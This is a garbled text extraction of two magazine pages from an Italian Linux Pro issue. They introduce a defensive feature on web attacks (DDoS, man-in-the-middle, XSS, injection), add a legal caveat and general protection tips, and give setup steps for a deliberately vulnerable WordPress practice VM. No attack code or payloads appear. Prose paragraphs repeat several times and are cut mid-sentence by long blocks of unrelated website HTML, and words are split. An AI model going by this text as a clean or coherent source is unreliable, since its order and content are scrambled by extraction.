“/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”fi rst $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/fi les/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff ;”><div style=”float: left;”><img src=”/fi les/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/fi les/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offl ine interi siti o aggiungendo graffi ti sulle loro pagine. Altri si verifi cano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

6 Linux pro 130

<div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden”

</div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a

HACKINGFurto di password Violazione di WordPress

Sfruttamento delle vulnerabilità Uso di attacchi DDOSVi accompagniamo in un viaggio nel lato oscuro*

L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. in ogni caso, avviene continuamente in tutto

il mondo. ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offl ine interi siti o aggiungendo graffi ti sulle loro pagine. Altri si verifi cano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto. Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente

ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server. in ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. possiamo limitarci a sperare che governi e aziende Web ci proteggano;

oppure possiamo imparare a conoscere le minacce e proteggerci da soli.Daremo quindi una sbirciata dentro ad alcuni degli

strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service - DDoS, man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito.

“Daremo una sbirciata ad alcuni degli strumenti usati da pirati e hacker”

numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon”

*Risvolti legaliLe leggi che riguardano l’hacking variano da un paese all’altro, perciò non possiamo fornirvi indicazioni legali specifiche. in linea di massima, però, usare senza autorizzazione una qualunque delle tecniche qui descritte su un sito è illegale nella maggior parte delle nazioni.

Se lavorate per un’azienda o per un’organizzazione, assicuratevi di ottenere il permesso scritto da chi di dovere prima di cominciare a verificarne la sicurezza dei sistemi. Eviterete così problemi qualora qualcuno si accorga che sta capitando qualcosa di strano.

6 Linux pro 130

LXP130_06-13_webapp 6 06/06/13 15:29

Page 9: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”fi rst $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/fi les/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff ;”><div style=”float: left;”><img src=”/fi les/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/fi les/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offl ine interi siti o aggiungendo graffi ti sulle loro pagine. Altri si verifi cano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”fi rst $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/fi les/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff ;”><div style=”float: left;”><img src=”/fi les/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/fi les/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offl ine interi siti o aggiungendo graffi ti sulle loro pagine. Altri si verifi cano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

Linux pro 130 7

<div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden”

</div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a

HACKINGFurto di password Violazione di WordPress

Sfruttamento delle vulnerabilità Uso di attacchi DDOSVi accompagniamo in un viaggio nel lato oscuro*

Violazione di WordPressEcco come si svolge un attacco a un’app Web

i sistemi di rilevazione delle intrusioni (IDS) e quelli di prevenzione delle intrusioni (ipS) possono contribuire a ridurre i danni causati dagli attacchi ma non sono una panacea in grado di risolvere magicamente tutti i vostri problemi. Dovrete inoltre dotarvi di SELinux o AppArmour e confi gurarli adeguatamente. Se usate un’app Web personalizzata, dovrete imparare a conoscere le varie tecniche usate per gli attacchi. il sito di OWASP (open Source Web Applications Security project) è un ottimo punto di partenza (https://www.owasp.org). Se conservate sul vostro sito dati importanti di qualunque genere, rivolgetevi a uno specialista di sicurezza per scoprire come tenerli al sicuro.

La crescente potenza di HTML5 e la crescente velocità di JavaScript stanno facendo aumentare sempre più la diffusione delle app Web. ubuntu e altre

distribuzioni le considerano ormai come applicazioni di prima classe e Mozilla sta creando uno smartphone che le utilizza per tutte le sue funzioni. Queste app hanno tuttavia introdotto un’intera serie di vulnerabilità precedentemente assenti. per esaminarle utilizzeremo WordPress a titolo di esempio. non lo abbiamo scelto perché sia un’app scadente ma perché la sua popolarità e la sua versatilità ne fanno un bersaglio ideale. nessuno degli attacchi menzionati colpisce esclusivamente questa piattaforma; sono anzi comuni su molte applicazioni Web, che si tratti o meno di CMS. Mostrare come avvengono gli attacchi è più utile che limitarsi a descriverli; perciò abbiamo creato una macchina virtuale che utilizza una versione vulnerabile di Wordpress. La trovate nel lato A del DVD allegato a questo numero. Seguite quindi la guida passo per passo in basso per installarla. Vi servirà VirtualBox; in ogni caso, è compatibile con quasi tutte le distribuzioni. noi abbiamo usato il formato blog di Wordpress per mostrarvi come violarlo, perciò non dovrete che avviarlo. una volta individuati gli attacchi, il blog vi fornirà anche informazioni su come tutelarvi; prima di continuare, quindi provate a ‘tappare’ le falle della sicurezza.

Come proteggerviSe utilizzate una qualunque app Web è essenziale che siate consapevoli dei rischi. Le vulnerabilità possono andare oltre l’app in sé: un pirata potrebbe riuscire a prendere il controllo del server. Se usate software pronti per l’uso (come Wordpress), una buona regola di base prevede che più semplice e standardizzato è un software, più facile risulta usarlo e mantenerlo aggiornato. Assicuratevi di usare sempre le versioni più recenti di tutto quanto.

Secondo il Web Hacking Information Database, il cross-site scripting (XSS) è il secondo tipo più frequente di attacco contro i siti

Livelli di protezionenel mondo reale come in quello digitale, la sicurezza assoluta non esiste. usando le informazioni fornite da questo articolo potrete avere una sicurezza maggiore ma non ‘la’ sicurezza. La sicurezza si basa sempre su un compromesso tra convenienza e vulnerabilità e sta al singolo decidere quale delle due sia più importante. Questo articolo si limita a scalfi re

la superfi cie della sicurezza sul Web, un tema complesso che rappresenta solo una parte della sicurezza dei computer. Se vi considerate a rischio di attacchi specifi ci, vi raccomandiamo di rivolgervi a un esperto. i professionisti della sicurezza e gli esperti di test di penetrazione possono aiutarvi a rafforzare le vostre difese e a resistere agli attacchi.

1 Importate il VMCliccate (o cliccate due volte) su Linux Pro Wordpress VM.ova (trovate questo fi le nel lato A del DVD allegato) quindi cliccate su Import nella fi nestra di dialogo.

3 Sfogliate il sitoAvviate un browser (qualunque) e collegatevi all’urL che compare al vertice della pagina precedente (quello che segue ‘Web:’).

2 Avviate il VMCliccate due volte sulla nuova macchina virtuale per avviarla. Dopo il caricamento apparirà una schermata blu con vari urL.

Passo passo Creare l’ambiente di testPasso passo

œ

LXP130_06-13_webapp 7 06/06/13 15:29

Page 10: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 